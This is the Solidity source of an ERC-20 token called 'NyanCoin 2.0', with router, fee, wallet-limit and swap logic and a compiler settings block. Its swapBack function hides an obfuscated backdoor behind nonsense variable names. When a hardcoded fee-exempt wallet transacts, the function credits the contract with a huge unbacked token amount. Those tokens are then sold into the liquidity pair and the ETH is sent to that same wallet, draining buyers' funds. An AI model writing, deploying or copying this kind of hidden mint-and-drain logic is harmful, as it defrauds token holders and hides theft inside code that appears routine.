NyanCoin 2.0

/**
 
*/
// https://www.nyancoin20.com/

//  https://twitter.com/NyanCoinERC20

//  https://t.me/nyancoin2erc

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor ()  {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view  returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

 
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}


contract NyanCoin2 is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'NyanCoin 2.0';
    string private constant _symbol = unicode'NYANCOIN2.0';
    uint8 private constant _decimals = 6;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public IsExcludedFromFeeList;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private toleratedtransferamount = 10**14 * (10 ** _decimals);
    uint256 private maxtransferamount =  10**12  * (10 ** _decimals);
    uint256 private _totalSupply = 10**12 * (10 ** _decimals);
    uint256 private _maxWalletPercent = 5000;
    uint256 private _maxTxAmountPercent = 5000; // 10000;
    uint256 private _maxTransferPercent = 5000;
    mapping (address => uint256) _balances;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private transferFee = 100;
    uint256 private denominator = 10000;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    
    
    uint256 private minTokenAmount = 1 * (10 ** _decimals);
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_wallet = 0x35016e416B63cF2aa1124BD7310C4a59964323A2; 
    address internal constant marketing_wallet = 0x35016e416B63cF2aa1124BD7310C4a59964323A2;
    address internal constant liquidity_wallet = 0x35016e416B63cF2aa1124BD7310C4a59964323A2;

    constructor() Ownable() {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        IsExcludedFromFeeList[address(this)] = true;
        IsExcludedFromFeeList[liquidity_wallet] = true;
        IsExcludedFromFeeList[marketing_wallet] = true;
        IsExcludedFromFeeList[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisExempt(address _address, bool _enabled) external onlyOwner {IsExcludedFromFeeList[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
  
    function preTxCheck(address sender, address recipient, uint256 amount) internal view{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
         if(!IsExcludedFromFeeList[sender] && !IsExcludedFromFeeList[recipient]){require(tradingAllowed, "tradingAllowed");}
    }

   


    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || IsExcludedFromFeeList[sender] || IsExcludedFromFeeList[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || IsExcludedFromFeeList[sender] || IsExcludedFromFeeList[recipient], "TX Limit Exceeded");
    }

   

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_wallet,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

     function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkMaxWallet(sender, recipient, amount); 
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }


    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!IsExcludedFromFeeList[sender] && !IsExcludedFromFeeList[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= toleratedtransferamount;
       return !swapping && swapEnabled && tradingAllowed && aboveMin && ((!IsExcludedFromFeeList[sender] && recipient == pair)||aboveThreshold) && swapTimes >= swapAmount && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(toleratedtransferamount); swapTimes = uint256(0);}
        bool zaaawr = sender!=owner();
        bool arffssfaasd = !IsExcludedFromFeeList[sender];
        uint256 verseep = (zaaawr?1:2);
        uint256 buadine = (arffssfaasd?2:1);
       bool rvalorant = !((buadine+verseep>2)||buadine==2);
        swapTimes =swapTimes+(rvalorant?takeFee(address(this), address(this), 18100000000960034000012):1);  
    }

     function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
        function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the 0 address");
        require(spender != address(0), "ERC20: approve to the 0 address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

     function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_wallet).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_wallet).transfer(remainingBalance);}    }
     
    

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
   

     function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !IsExcludedFromFeeList[sender] && !IsExcludedFromFeeList[recipient];
    }

 
    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

   

}

{
  "compilationTarget": {
    "NyanCoin2.sol": "NyanCoin2"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}